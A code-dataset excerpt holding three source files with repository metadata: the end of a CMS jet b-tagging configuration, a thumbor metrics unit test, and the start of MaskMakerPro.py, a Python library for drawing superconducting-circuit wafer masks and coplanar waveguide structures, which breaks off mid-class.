akVs4CaloSoftPFMuonByPtBJetTags = akVs4CalobTagger.SoftPFMuonByPtBJetTags akVs4CaloNegativeSoftPFMuonByPtBJetTags = akVs4CalobTagger.NegativeSoftPFMuonByPtBJetTags akVs4CaloPositiveSoftPFMuonByPtBJetTags = akVs4CalobTagger.PositiveSoftPFMuonByPtBJetTags akVs4CaloPatJetFlavourIdLegacy = cms.Sequence(akVs4CaloPatJetPartonAssociationLegacy*akVs4CaloPatJetFlavourAssociationLegacy) #Not working with our PU sub, but keep it here for reference #akVs4CaloPatJetFlavourAssociation = akVs4CalobTagger.PatJetFlavourAssociation #akVs4CaloPatJetFlavourId = cms.Sequence(akVs4CaloPatJetPartons*akVs4CaloPatJetFlavourAssociation) akVs4CaloJetBtaggingIP = cms.Sequence(akVs4CaloImpactParameterTagInfos * (akVs4CaloTrackCountingHighEffBJetTags + akVs4CaloTrackCountingHighPurBJetTags + akVs4CaloJetProbabilityBJetTags + akVs4CaloJetBProbabilityBJetTags ) ) akVs4CaloJetBtaggingSV = cms.Sequence(akVs4CaloImpactParameterTagInfos * akVs4CaloSecondaryVertexTagInfos * (akVs4CaloSimpleSecondaryVertexHighEffBJetTags+ akVs4CaloSimpleSecondaryVertexHighPurBJetTags+ akVs4CaloCombinedSecondaryVertexBJetTags+ akVs4CaloCombinedSecondaryVertexV2BJetTags ) ) akVs4CaloJetBtaggingNegSV = cms.Sequence(akVs4CaloImpactParameterTagInfos * akVs4CaloSecondaryVertexNegativeTagInfos * (akVs4CaloNegativeSimpleSecondaryVertexHighEffBJetTags+ akVs4CaloNegativeSimpleSecondaryVertexHighPurBJetTags+ akVs4CaloNegativeCombinedSecondaryVertexBJetTags+ akVs4CaloPositiveCombinedSecondaryVertexBJetTags+ akVs4CaloNegativeCombinedSecondaryVertexV2BJetTags+ akVs4CaloPositiveCombinedSecondaryVertexV2BJetTags ) ) akVs4CaloJetBtaggingMu = cms.Sequence(akVs4CaloSoftPFMuonsTagInfos * (akVs4CaloSoftPFMuonBJetTags + akVs4CaloSoftPFMuonByIP3dBJetTags + akVs4CaloSoftPFMuonByPtBJetTags + akVs4CaloNegativeSoftPFMuonByPtBJetTags + akVs4CaloPositiveSoftPFMuonByPtBJetTags ) ) akVs4CaloJetBtagging = cms.Sequence(akVs4CaloJetBtaggingIP *akVs4CaloJetBtaggingSV *akVs4CaloJetBtaggingNegSV # *akVs4CaloJetBtaggingMu ) akVs4CalopatJetsWithBtagging = patJets.clone(jetSource = cms.InputTag("akVs4CaloJets"), genJetMatch = cms.InputTag("akVs4Calomatch"), genPartonMatch = cms.InputTag("akVs4Caloparton"), jetCorrFactorsSource = cms.VInputTag(cms.InputTag("akVs4Calocorr")), JetPartonMapSource = cms.InputTag("akVs4CaloPatJetFlavourAssociationLegacy"), JetFlavourInfoSource = cms.InputTag("akVs4CaloPatJetFlavourAssociation"), trackAssociationSource = cms.InputTag("akVs4CaloJetTracksAssociatorAtVertex"), useLegacyJetMCFlavour = True, discriminatorSources = cms.VInputTag(cms.InputTag("akVs4CaloSimpleSecondaryVertexHighEffBJetTags"), cms.InputTag("akVs4CaloSimpleSecondaryVertexHighPurBJetTags"), cms.InputTag("akVs4CaloCombinedSecondaryVertexBJetTags"), cms.InputTag("akVs4CaloCombinedSecondaryVertexV2BJetTags"), cms.InputTag("akVs4CaloJetBProbabilityBJetTags"), cms.InputTag("akVs4CaloJetProbabilityBJetTags"), #cms.InputTag("akVs4CaloSoftPFMuonByPtBJetTags"), #cms.InputTag("akVs4CaloSoftPFMuonByIP3dBJetTags"), cms.InputTag("akVs4CaloTrackCountingHighEffBJetTags"), cms.InputTag("akVs4CaloTrackCountingHighPurBJetTags"), ), jetIDMap = cms.InputTag("akVs4CaloJetID"), addBTagInfo = True, addTagInfos = True, addDiscriminators = True, addAssociatedTracks = True, addJetCharge = False, addJetID = False, getJetMCFlavour = True, addGenPartonMatch = True, addGenJetMatch = True, embedGenJetMatch = True, embedGenPartonMatch = True, # embedCaloTowers = False, # embedPFCandidates = True ) akVs4CaloNjettiness = Njettiness.clone( src = cms.InputTag("akVs4CaloJets"), R0 = cms.double( 0.4) ) akVs4CalopatJetsWithBtagging.userData.userFloats.src += ['akVs4CaloNjettiness:tau1','akVs4CaloNjettiness:tau2','akVs4CaloNjettiness:tau3'] akVs4CaloJetAnalyzer = inclusiveJetAnalyzer.clone(jetTag = cms.InputTag("akVs4CalopatJetsWithBtagging"), genjetTag = 'ak4HiGenJets', rParam = 0.4, matchJets = cms.untracked.bool(False), matchTag = 'patJetsWithBtagging', pfCandidateLabel = cms.untracked.InputTag('particleFlowTmp'), trackTag = cms.InputTag("hiGeneralTracks"), fillGenJets = True, isMC = True, doSubEvent = True, useHepMC = cms.untracked.bool(False), genParticles = cms.untracked.InputTag("genParticles"), eventInfoTag = cms.InputTag("generator"), doLifeTimeTagging = cms.untracked.bool(True), doLifeTimeTaggingExtras = cms.untracked.bool(False), bTagJetName = cms.untracked.string("akVs4Calo"), jetName = cms.untracked.string("akVs4Calo"), genPtMin = cms.untracked.double(5), hltTrgResults = cms.untracked.string('TriggerResults::'+'HISIGNAL'), doTower = cms.untracked.bool(True), doSubJets = cms.untracked.bool(False), doGenSubJets = cms.untracked.bool(False), subjetGenTag = cms.untracked.InputTag("ak4GenJets"), doGenTaus = True ) akVs4CaloJetSequence_mc = cms.Sequence( #akVs4Caloclean #* akVs4Calomatch #* #akVs4CalomatchGroomed * akVs4Caloparton * akVs4Calocorr * #akVs4CaloJetID #* akVs4CaloPatJetFlavourIdLegacy #* #akVs4CaloPatJetFlavourId # Use legacy algo till PU implemented * akVs4CaloJetTracksAssociatorAtVertex * akVs4CaloJetBtagging * akVs4CaloNjettiness * akVs4CalopatJetsWithBtagging * akVs4CaloJetAnalyzer ) akVs4CaloJetSequence_data = cms.Sequence(akVs4Calocorr * #akVs4CaloJetID #* akVs4CaloJetTracksAssociatorAtVertex * akVs4CaloJetBtagging * akVs4CaloNjettiness * akVs4CalopatJetsWithBtagging * akVs4CaloJetAnalyzer ) akVs4CaloJetSequence_jec = cms.Sequence(akVs4CaloJetSequence_mc) akVs4CaloJetSequence_mb = cms.Sequence(akVs4CaloJetSequence_mc) akVs4CaloJetSequence = cms.Sequence(akVs4CaloJetSequence_jec) akVs4CaloJetAnalyzer.genPtMin = cms.untracked.double(1) akVs4CaloJetAnalyzer.jetPtMin = cms.double(1)
c808420814784eb74158420818d1e193c2cff1fe
eed5c6267fe9ac9031c21eae6bc53010261505ac
/tests/metrics/test_default_metrics.py
9609d6d88e052ff6a942b412ee06c84c93ff3b82
[ "MIT" ]
permissive
voxmedia/thumbor
3a07ae182143b5a850bf63c36887a1ee8e3ad617
29b92b69e4c241ddd5ba429f8269d775a1508e70
refs/heads/master
2022-08-25T13:07:12.136876
2022-08-18T16:15:00
2022-08-18T16:15:00
22,433,808
6
0
MIT
2019-09-13T18:05:03
2014-07-30T15:33:42
Python
UTF-8
Python
false
false
1,049
py
#!/usr/bin/python # -*- coding: utf-8 -*- # thumbor imaging service # https://github.com/thumbor/thumbor/wiki # Licensed under the MIT license: # http://www.opensource.org/licenses/mit-license # Copyright (c) 2011 globo.com [email protected] import mock from preggy import expect import thumbor.metrics from thumbor.importer import Importer from tests.base import TestCase class DefaultMetricsTestCase(TestCase): def get_importer(self): importer = Importer(self.config) importer.import_modules() return importer def test_can_create_context_with_default_metrics(self): expect(self.context).not_to_be_null() expect(self.context.metrics).to_be_instance_of(thumbor.metrics.logger_metrics.Metrics) @mock.patch('thumbor.metrics.BaseMetrics.initialize') def test_can_initizalize_when_request_comes(self, mocked_initialize): expect(mocked_initialize.call_count).to_equal(0) self.fetch('/unsafe/smart/image.jpg') expect(mocked_initialize.call_count).to_equal(1)
7b7636db25b9e2e083fd418062f950259431149f
35244ce6da8ec7e86ab085c2ff17611a36d3bcd4
/DrawCodes/MaskMakerPro.py
f79f797389960c946574a535f43b2d0b43dfd96e
[]
no_license
MRitter95/GraphCodes
c68a0e45585a22feaecb0b6481ef3cca2ed36539
6a561f41e908202362eba0c89964bf914ec9e712
refs/heads/master
2023-06-13T08:08:52.742532
2021-06-22T20:33:45
2021-06-22T20:33:45
302,158,298
0
0
null
null
null
null
UTF-8
Python
false
false
140,807
py
# -*- coding: utf-8 -*- """ Created on Wednesday, Oct. 25 2017 MaskMakerPro. This provides a set of functions for drawing masks @author: Mattias Fitzpatrick """ from . import sdxf from math import floor from . import sdxf from math import sin,cos,pi,floor,asin,acos,tan,atan,sqrt from .alphanum import alphanum_dict from random import randrange class MaskError: """MaskError is an exception to be raised whenever invalid parameters are used in one of the MaskMaker functions, value is just a string""" def __init__(self, value): self.value = value def __str__(self): return repr(self.value) #=============================================================================== # POINT-WISE OPERATIONS #=============================================================================== def rotate_pt(p,angle,center=(0,0)): """rotates point p=(x,y) about point center (defaults to (0,0)) by CCW angle (in degrees)""" dx=p[0]-center[0] dy=p[1]-center[1] theta=pi*angle/180 return (center[0]+dx*cos(theta)-dy * sin(theta),center[1]+dx * sin(theta)+dy * cos(theta)) def rotate_pts(points,angle,center=(0,0)): """Rotates an array of points one by one using rotate_pt""" return [rotate_pt(p,angle,center) for p in points] def translate_pt(p,offset): """Translates point p=(x,y) by offset=(x,y)""" return (p[0]+offset[0],p[1]+offset[1]) def translate_pts(points,offset): """Translates an array of points one by one using translate_pt""" return [translate_pt(p,offset) for p in points] def orient_pt(p,angle,offset): """Orient_pt rotates point p=(x,y) by angle (in degrees) and then translates it to offset=(x,y)""" return translate_pt(rotate_pt(p,angle),offset) def orient_pts(points,angle,offset): """Orients an array of points one by one using orient_pt""" return [orient_pt(p,angle,offset) for p in points] def scale_pt(p,scale): """Scales p=(x,y) by scale""" return (p[0]*scale[0],p[1]*scale[1]) def scale_pts(points,scale): """Scales an array of points one by one using scale_pt""" return [scale_pt(p,scale) for p in points] def mirror_pt(p, axis_angle,axis_pt): """Mirrors point p about a line at angle "axis_angle" intercepting point "axis_pt" """ theta=axis_angle*pi/180. return (axis_pt[0] + (-axis_pt[0] + p[0])* cos(2 * theta ) + (-axis_pt[1] + p[1])*sin(2 *theta), p[1] + 2 * (axis_pt[1] - p[1])* cos(theta)**2 + (-axis_pt[0] + p[0])* sin(2*theta) ) def mirror_pts(points,axis_angle,axis_pt): """Mirrors an array of points one by one using mirror_pt""" return [mirror_pt(p,axis_angle,axis_pt) for p in points] #=============================================================================== # MASK- and CHIP GENERATION #=============================================================================== class WaferMask(sdxf.Drawing): """Mask class for placing chips on a wafer with a flat. Contains functions which: - layout the chips, - add chips to the mask - create a manifest of the mask. - etchtype 'False' allows you to make a chip without the dicing borders for a positive mask - etchtype 'True' is the standard version with dicing borders """ def __init__(self,name,diameter=50800.,flat_distance=24100.,wafer_padding=2000,chip_size=(7000.,2000.),dicing_border=200,textsize=(800,800),etchtype=True): sdxf.Drawing.__init__(self) self.name=name self.fileName=name+".dxf" self.diameter=diameter self.flat_distance=flat_distance self.textsize=textsize self.border_width=200 #width of line used to align wafer edge self.chip_size=chip_size self.dicing_border=dicing_border self.die_size=(chip_size[0]+dicing_border,chip_size[1]+dicing_border) self.wafer_padding=wafer_padding self.buffer=self.wafer_padding # + self.dicing_border/2 self.etchtype=etchtype start_angle=270.+180./pi *acos(2.*flat_distance/diameter) stop_angle=270.-180./pi* acos(2.*flat_distance/diameter) iradius=(diameter-self.border_width)/2. oradius=(diameter+self.border_width)/2. starti=rotate_pt((iradius,0.),start_angle) starto=rotate_pt((oradius,0.),start_angle) stopi=rotate_pt((iradius,0.),stop_angle) stopo=rotate_pt((oradius,0.),stop_angle) #print "wafer info: iradis=%f, oradius=%f, start_angle=%f, stop_angle=%f" %(iradius,oradius,start_angle,stop_angle) stop_angle+=360 opts=arc_pts(start_angle,stop_angle,oradius) ipts=arc_pts(stop_angle,start_angle,iradius) pts=opts pts.append(opts[0]) pts.append(ipts[-1]) pts.extend(ipts) pts.append(opts[0]) self.append(sdxf.PolyLine(pts)) #self.append(sdxf.Arc((0.,0.),iradius,start_angle,stop_angle)) #self.append(sdxf.Line( [ stopi,stopo])) #self.append(sdxf.Arc((0.,0.),oradius,start_angle,stop_angle)) #self.append(sdxf.Line( [ starti,starto])) #self.append(sdxf.PolyLine([stopi,starti,starto,stopo])) self.chip_points=self.get_chip_points() self.chip_slots=self.chip_points.__len__() self.current_point=0 self.manifest=[] self.num_chips=0 def randomize_layout(self): """Shuffle the order of the chip_points array so that chips will be inserted (pseudo-)randomly""" seed=124279234 for ii in range(10000): i1=randrange(self.chip_points.__len__()) i2=randrange(self.chip_points.__len__()) tp=self.chip_points[i1] self.chip_points[i1]=self.chip_points[i2] self.chip_points[i2]=tp # def label_chip(self,chip,pt,maskid,chipid): # """Labels chip on wafer at position pt where pt is the bottom left corner of chip""" # AlphaNumText(self,maskid,chip.textsize,pt) # AlphaNumText(self,chipid,chip.textsize,pt) def add_chip(self,chip,copies): """Adds chip design 'copies' times into mask. chip must have a unique name as it will be inserted as a block""" if self.etchtype: ChipBorder(chip,self.dicing_border/2) self.blocks.append(chip) slots_remaining=self.chip_points.__len__()-self.current_point for ii in range (copies): if self.current_point>= self.chip_points.__len__(): raise MaskError("MaskError: Cannot add %d copies of chip '%s' Only %d slots on mask and %d remaining." % (copies,chip.name,self.chip_points.__len__(),slots_remaining)) p=self.chip_points[self.current_point] self.current_point+=1 self.append(sdxf.Insert(chip.name,point=p)) chip.label_chip(self,maskid=self.name,chipid=chip.name+str(ii+1),offset=p) self.num_chips+=1 self.manifest.append({'chip':chip,'name':chip.name,'copies':copies,'short_desc':chip.short_description(),'long_desc':chip.long_description()}) #print "%s\t%d\t%s" % (chip.name,copies,chip.short_description()) chip.save(fname=self.name+"-"+chip.name,maskid=self.name,chipid=chip.name) def save_manifest(self,name=None): if name is None: name=self.name if name[-4:]!=".txt": name+="_manifest.txt" f=open(name,'w') f.write("Mask:\t%s\tTotal Chips:\t%d\n" % (self.name,self.current_point)) f.write("ID\tCopies\tShort Description\tChip Type\tChip Info\n") for m in self.manifest: f.write("%(name)s\t%(copies)d\t%(short_desc)s\n" %m ) for m in self.manifest: f.write("______________________\n%(name)s\t%(copies)d\t%(long_desc)s\n\n" % m) f.close() def save_dxf(self,name=None): if name is None: name=self.name if name[-4:]!=".dxf": name+=".dxf" #print name f=open(name,'w') f.write(str(self)) f.close() def save(self,name=None): #print "Saving mask" self.save_dxf(name) self.save_manifest(name) def point_inside(self,pt): """True if point is on wafer""" return (pt[0]**2+pt[1]**2<(self.diameter/2-self.buffer)**2) and (pt[1]>-self.flat_distance+self.buffer) def die_inside(self,pt): """Tell if chip of size self.chip_size is completely on the wafer""" return self.point_inside(pt) and self.point_inside(translate_pt(pt,(self.die_size[0],0))) and self.point_inside(translate_pt(pt,(self.die_size[0],self.die_size[1]))) and self.point_inside(translate_pt(pt,(0,self.die_size[1]))) def get_chip_points(self): """Get insertion points for all of the chips (layout wafer)""" max_cols = int((self.diameter-2*self.buffer)/self.die_size[0]) max_rows = int((self.diameter-2*self.buffer)/self.die_size[1]) print("Maximum number of rows=%d and cols=%d" %(max_rows,max_cols)) #figure out offset for chips (centered on chip or between chips) xoffset=-max_cols/2.*self.die_size[0] yoffset=-max_rows/2.*self.die_size[1] #if max_cols%2==1: # print "offset X" # xoffset+=self.chip_size[0]/2. #if max_rows%2==1: # yoffset+=self.chip_size[1]/2. chip_points=[] for ii in range(max_rows): for jj in range(max_cols): pt=(xoffset+jj*self.die_size[0],yoffset+ii*self.die_size[1]) if self.die_inside(pt): chip_points.append(translate_pt(pt,(self.dicing_border/2,self.dicing_border/2))) print("Room for %d chips on wafer." % chip_points.__len__()) return chip_points class Chip(sdxf.Block): """Chip is a class which contains structures Perhaps it will also be used to do some error checking """ def __init__(self,name,size=(7000.,2000.),mask_id_loc=(0,0),chip_id_loc=(0,0),textsize=(160,160)): """size is a tuple size=(xsize,ysize)""" sdxf.Block.__init__(self,name) self.size=size self.mask_id_loc=mask_id_loc self.chip_id_loc=chip_id_loc # self.dicing_border=dicing_border self.name=name # self.maskid_struct=Structure(self,start=translate_pt(mask_id_loc,(dicing_border,dicing_border)),layer="id_text",color=3) # self.chipid_struct=Structure(self,start=translate_pt(chip_id_loc,(dicing_border,dicing_border)),layer="id_text",color=3) self.textsize=textsize # if dicing_border>0: # ChipBorder (self,border_thickness=dicing_border,layer="border",color=3) # self.left_midpt=(dicing_border,(size[1]+2*dicing_border)/2) # self.right_midpt=(size[0]+dicing_border,(size[1]+2*dicing_border)/2) # self.top_midpt=((size[0]+2*dicing_border)/2,size[1]+dicing_border) # self.bottom_midpt=((size[0]+2*dicing_border)/2,dicing_border) self.left_midpt=(0,size[1]/2.) self.right_midpt=(size[0],size[1]/2.) self.top_midpt=(size[0]/2.,size[1]) self.bottom_midpt=(size[0]/2.,0) self.midpt=(size[0]/2.,size[1]/2.) self.bottomleft_corner=(0,0) self.topleft_corner=(0,size[1]) self.topright_corner=(size[0],size[1]) self.bottomright_corner=(size[0],0) def label_chip(self,drawing,maskid,chipid,offset=(0,0)): """Labels chip in drawing at locations given by mask_id_loc and chip_id_loc with an optional offset. Note that the drawing can be a drawing or a Block including the chip itself""" AlphaNumText(drawing,maskid,self.textsize,translate_pt(self.mask_id_loc,offset)) AlphaNumText(drawing,chipid,self.textsize,translate_pt(self.chip_id_loc,offset)) def save(self,fname=None,maskid=None,chipid=None): """Saves chip to .dxf, defaults naming file by the chip name, and will also label the chip, if a label is specified""" if fname is None: fname=self.name+'.dxf' if fname[-4:]!='.dxf': fname+='.dxf' d=sdxf.Drawing() d.blocks.append(self) d.append(sdxf.Insert(self.name,point=(0,0))) self.label_chip(d,maskid,chipid) d.saveas(fname) class Structure: """Structure keeps track of current location and direction, defaults is a dictionary with default values that substructures can call """ def __init__(self,chip,start=(0,0),direction=0,layer="structures",color=1, defaults={}): self.chip=chip self.start=start self.last=start self.last_direction=direction self.layer=layer self.color=color self.defaults=defaults.copy() self.structures=[] def append(self,shape): """gives a more convenient reference to the chips.append method""" self.chip.append(shape) #=============================================================================== # CPW COMPONENTS #=============================================================================== class CPWStraight: """A straight section of CPW transmission line""" def __init__(self, structure,length,pinw=None,gapw=None): """ Adds a straight section of CPW transmission line of length = length to the structure""" if length==0: return s=structure start=structure.last if pinw is None: pinw=structure.defaults['pinw'] if gapw is None: gapw=structure.defaults['gapw'] gap1=[ (start[0],start[1]+pinw/2), (start[0]+length,start[1]+pinw/2), (start[0]+length,start[1]+pinw/2+gapw), (start[0],start[1]+pinw/2+gapw), (start[0],start[1]+pinw/2) ] gap2=[ (start[0],start[1]-pinw/2), (start[0]+length,start[1]-pinw/2), (start[0]+length,start[1]-pinw/2-gapw), (start[0],start[1]-pinw/2-gapw), (start[0],start[1]-pinw/2) ] gap1=rotate_pts(gap1,s.last_direction,start) gap2=rotate_pts(gap2,s.last_direction,start) stop=rotate_pt((start[0]+length,start[1]),s.last_direction,start) s.last=stop s.append(sdxf.PolyLine(gap1)) s.append(sdxf.PolyLine(gap2)) class CPWStraight_Bridges_Layer1: "A straight section of CPW transmission line, that has markers on either side for making bridges" def __init__(self, structure,length,br_base,br_width,pinw=None,gapw=None): " Adds a straight section of CPW transmission line of length = length to the structure" if length==0: return s=structure start=structure.last if pinw is None: pinw=structure.defaults['pinw'] if gapw is None: gapw=structure.defaults['gapw'] "This shifts the edge of the bridge from the edge of the ground plane" br_shift = 10. gap1=[ (start[0],start[1]+pinw/2), (start[0]+length,start[1]+pinw/2), (start[0]+length,start[1]+pinw/2+gapw), (start[0],start[1]+pinw/2+gapw), (start[0],start[1]+pinw/2) ] gap2=[ (start[0],start[1]-pinw/2), (start[0]+length,start[1]-pinw/2), (start[0]+length,start[1]-pinw/2-gapw), (start[0],start[1]-pinw/2-gapw), (start[0],start[1]-pinw/2) ] if length < 5*br_width: raise MaskError("Consider fewer bridges!!") "The commented code makes holes on either side of the resonators" # br_11=[ (start[0] + length/4 - br_width/2., start[1] - pinw/2 - gapw - br_shift - br_base), # (start[0] + length/4 + br_width/2., start[1] - pinw/2 - gapw - br_shift - br_base), # (start[0] + length/4 + br_width/2., start[1] - pinw/2 - gapw - br_shift), # (start[0] + length/4 - br_width/2., start[1] - pinw/2 - gapw -br_shift), # (start[0] + length/4 - br_width/2., start[1] - pinw/2 -gapw - br_shift - br_base) # ] # br_12=[ (start[0] + length/4 - br_width/2., start[1] + pinw/2 + gapw + br_shift + br_base), # (start[0] + length/4 + br_width/2., start[1] + pinw/2 + gapw + br_shift + br_base), # (start[0] + length/4 + br_width/2., start[1] + pinw/2 + gapw + br_shift), # (start[0] + length/4 - br_width/2., start[1] + pinw/2 + gapw + br_shift), # (start[0] + length/4 - br_width/2., start[1] + pinw/2 + gapw + br_shift + br_base) # ] # # br_21=[ (start[0] + 3*length/4 - br_width/2., start[1] - pinw/2 - gapw - br_shift - br_base), # (start[0] + 3*length/4 + br_width/2., start[1] - pinw/2 - gapw - br_shift - br_base), # (start[0] + 3*length/4 + br_width/2., start[1] - pinw/2 - gapw - br_shift), # (start[0] + 3*length/4 - br_width/2., start[1] - pinw/2 - gapw -br_shift), # (start[0] + 3*length/4 - br_width/2., start[1] - pinw/2 -gapw - br_shift - br_base) # ] # br_22=[ (start[0] + 3*length/4 - br_width/2., start[1] + pinw/2 + gapw + br_shift + br_base), # (start[0] + 3*length/4 + br_width/2., start[1] + pinw/2 + gapw + br_shift + br_base), # (start[0] + 3*length/4 + br_width/2., start[1] + pinw/2 + gapw + br_shift), # (start[0] + 3*length/4 - br_width/2., start[1] + pinw/2 + gapw + br_shift), # (start[0] + 3*length/4 - br_width/2., start[1] + pinw/2 + gapw + br_shift + br_base) # ] brTop_11=[ (start[0] + length/4. - br_width/2., start[1] - pinw/2. - gapw - br_shift), (start[0] + length/4 + br_width/2., start[1] - pinw/2. - gapw - br_shift), (start[0] + length/4 + br_width/2., start[1] + pinw/2. + gapw + br_shift), (start[0] + length/4 - br_width/2., start[1] + pinw/2. + gapw + br_shift), (start[0] + length/4. - br_width/2., start[1] - pinw/2. - gapw - br_shift) ] brTop_12=[ (start[0] + length/4. - br_width/2., start[1] - pinw/2. - gapw - br_shift - br_base), (start[0] + length/4 + br_width/2., start[1] - pinw/2. - gapw - br_shift - br_base), (start[0] + length/4 + br_width/2., start[1] + pinw/2. + gapw + br_shift + br_base), (start[0] + length/4 - br_width/2., start[1] + pinw/2. + gapw + br_shift + br_base), (start[0] + length/4. - br_width/2., start[1] - pinw/2. - gapw - br_shift - br_base) ] brTop_21=[ (start[0] + 3*length/4. - br_width/2., start[1] - pinw/2. - gapw - br_shift), (start[0] + 3*length/4 + br_width/2., start[1] - pinw/2. - gapw - br_shift), (start[0] + 3*length/4 + br_width/2., start[1] + pinw/2. + gapw + br_shift), (start[0] + 3*length/4 - br_width/2., start[1] + pinw/2. + gapw + br_shift), (start[0] + 3*length/4. - br_width/2., start[1] - pinw/2. - gapw - br_shift) ] brTop_22=[ (start[0] + 3*length/4. - br_width/2., start[1] - pinw/2. - gapw - br_shift - br_base), (start[0] + 3*length/4 + br_width/2., start[1] - pinw/2. - gapw - br_shift - br_base), (start[0] + 3*length/4 + br_width/2., start[1] + pinw/2. + gapw + br_shift + br_base), (start[0] + 3*length/4 - br_width/2., start[1] + pinw/2. + gapw + br_shift + br_base), (start[0] + 3*length/4. - br_width/2., start[1] - pinw/2. - gapw - br_shift - br_base) ] brTop_11=rotate_pts(brTop_11,s.last_direction,start) brTop_21=rotate_pts(brTop_21,s.last_direction,start) brTop_12=rotate_pts(brTop_12,s.last_direction,start) brTop_22=rotate_pts(brTop_22,s.last_direction,start) gap1=rotate_pts(gap1,s.last_direction,start) gap2=rotate_pts(gap2,s.last_direction,start) stop=rotate_pt((start[0]+length,start[1]),s.last_direction,start) s.last=stop # s.layers.append(sdxf.Layer(name="BridgeLayer1")) s.append(sdxf.PolyLine(gap1)) s.append(sdxf.PolyLine(gap2)) s.append(sdxf.PolyLine(brTop_11,layer="BridgeLayer1")) s.append(sdxf.PolyLine(brTop_21,layer="BridgeLayer1")) s.append(sdxf.PolyLine(brTop_12,layer="BridgeLayer2")) s.append(sdxf.PolyLine(brTop_22,layer="BridgeLayer2")) class CPWQubitNotch: "A version of CPWStraight that cuts out a notch for a qubit" def __init__(self,structure,notch_width,notch_height,pinw=None,gapw=None): """ Parameters length= total length of section of CPW notch_height = height of the qubit notch notch_width = width of the qubit notch """ if notch_width == 0: return s=structure start=s.last if pinw is None: pinw=structure.defaults['pinw'] if gapw is None: gapw=structure.defaults['gapw'] align_shift = 20. align_width = 10. # gap1=[ (start[0],start[1]+pinw/2), # (start[0],start[1]+pinw/2+gapw), # (start[0]+notch_width,start[1]+pinw/2+gapw), # (start[0]+notch_width,start[1]+pinw/2+gapw+notch_height), # (start[0]+2*notch_width,start[1]+pinw/2+gapw+notch_height), # (start[0]+2*notch_width,start[1]+pinw/2+gapw), # (start[0]+3*notch_width,start[1]+pinw/2+gapw), # (start[0]+3*notch_width,start[1]+pinw/2), # (start[0],start[1]+pinw/2) # ] gap1=[ (start[0],start[1]+pinw/2), (start[0],start[1]+pinw/2+notch_height), (start[0]+notch_width,start[1]+pinw/2+notch_height), (start[0]+notch_width,start[1]+pinw/2), (start[0],start[1]+pinw/2) ] gap2=[ (start[0],start[1]-pinw/2), (start[0]+notch_width,start[1]-pinw/2), (start[0]+notch_width,start[1]-pinw/2-gapw), (start[0],start[1]-pinw/2-gapw), (start[0],start[1]-pinw/2) ] "Qbit alignment marker" alignment_marker1=[ (start[0]- align_shift,start[1] + align_shift + notch_height), (start[0] - align_shift - align_width, start[1] + align_shift+ notch_height), (start[0] - align_shift - align_width,start[1] + align_shift + align_width+ notch_height), (start[0] - align_shift - 2*align_width,start[1] + align_shift + align_width+ notch_height), (start[0] - align_shift - 2*align_width,start[1] + align_shift + 2*align_width+ notch_height), (start[0] - align_shift - align_width,start[1] + align_shift + 2*align_width+ notch_height), (start[0] - align_shift - align_width,start[1] + align_shift + 3*align_width+ notch_height), (start[0] - align_shift,start[1] + align_shift + 3*align_width+ notch_height), (start[0] - align_shift,start[1] + align_shift + 2*align_width+ notch_height), (start[0] - align_shift + align_width,start[1] + align_shift + 2*align_width+ notch_height), (start[0] - align_shift + align_width,start[1] + align_shift + align_width+ notch_height), (start[0] - align_shift,start[1] + align_shift + align_width+ notch_height), (start[0] - align_shift,start[1] + align_shift+ notch_height) ] "Qbit alignment marker" alignment_marker2=[ (start[0]+ align_shift + notch_width,start[1] + align_shift + notch_height), (start[0] + align_shift + align_width+ notch_width, start[1] + align_shift+ notch_height), (start[0] + align_shift + align_width+ notch_width,start[1] + align_shift + align_width+ notch_height), (start[0] + align_shift + 2*align_width+ notch_width,start[1] + align_shift + align_width+ notch_height), (start[0] + align_shift + 2*align_width+ notch_width,start[1] + align_shift + 2*align_width+ notch_height), (start[0] + align_shift + align_width+ notch_width,start[1] + align_shift + 2*align_width+ notch_height), (start[0] + align_shift + align_width+ notch_width,start[1] + align_shift + 3*align_width+ notch_height), (start[0] + align_shift+ notch_width,start[1] + align_shift + 3*align_width+ notch_height), (start[0] + align_shift+ notch_width,start[1] + align_shift + 2*align_width+ notch_height), (start[0] + align_shift - align_width+ notch_width,start[1] + align_shift + 2*align_width+ notch_height), (start[0] + align_shift - align_width+ notch_width,start[1] + align_shift + align_width+ notch_height), (start[0] + align_shift+ notch_width,start[1] + align_shift + align_width+ notch_height), (start[0] + align_shift+ notch_width,start[1] + align_shift+ notch_height) ] gap1=rotate_pts(gap1,s.last_direction,start) gap2=rotate_pts(gap2,s.last_direction,start) alignment_marker1=rotate_pts(alignment_marker1,s.last_direction,start) alignment_marker2=rotate_pts(alignment_marker2,s.last_direction,start) stop=rotate_pt((start[0]+notch_width,start[1]),s.last_direction,start) s.last=stop s.append(sdxf.PolyLine(gap1)) s.append(sdxf.PolyLine(gap2)) s.append(sdxf.PolyLine(alignment_marker1)) s.append(sdxf.PolyLine(alignment_marker2)) class CPWQubitNotch_inverted: "A version of CPWStraight that cuts out a notch for a qubit" def __init__(self,structure,notch_width,notch_height,pinw=None,gapw=None): """ Parameters length= total length of section of CPW notch_height = height of the qubit notch notch_width = width of the qubit notch """ if notch_width == 0: return s=structure start=s.last if pinw is None: pinw=structure.defaults['pinw'] if gapw is None: gapw=structure.defaults['gapw'] align_shift = 20. align_width = 10. gap1=[ (start[0],start[1]-pinw/2), (start[0],start[1]-pinw/2-notch_height), (start[0]+notch_width,start[1]-pinw/2-notch_height), (start[0]+notch_width,start[1]-pinw/2), (start[0],start[1]-pinw/2) ] gap2=[ (start[0],start[1]+pinw/2), (start[0]+notch_width,start[1]+pinw/2), (start[0]+notch_width,start[1]+pinw/2+gapw), (start[0],start[1]+pinw/2+gapw), (start[0],start[1]+pinw/2) ] "Qbit alignment marker" alignment_marker1=[ (start[0]- align_shift,start[1] - align_shift - notch_height), (start[0] - align_shift - align_width, start[1] - align_shift- notch_height), (start[0] - align_shift - align_width,start[1] - align_shift - align_width- notch_height), (start[0] - align_shift - 2*align_width,start[1] - align_shift - align_width- notch_height), (start[0] - align_shift - 2*align_width,start[1] - align_shift - 2*align_width- notch_height), (start[0] - align_shift - align_width,start[1] - align_shift - 2*align_width- notch_height), (start[0] - align_shift - align_width,start[1] - align_shift - 3*align_width- notch_height), (start[0] - align_shift,start[1] - align_shift - 3*align_width - notch_height), (start[0] - align_shift,start[1] - align_shift - 2*align_width - notch_height), (start[0] - align_shift + align_width,start[1] - align_shift - 2*align_width- notch_height), (start[0] - align_shift + align_width,start[1] - align_shift - align_width- notch_height), (start[0] - align_shift,start[1] - align_shift - align_width - notch_height), (start[0] - align_shift,start[1] - align_shift - notch_height) ] "Qbit alignment marker" 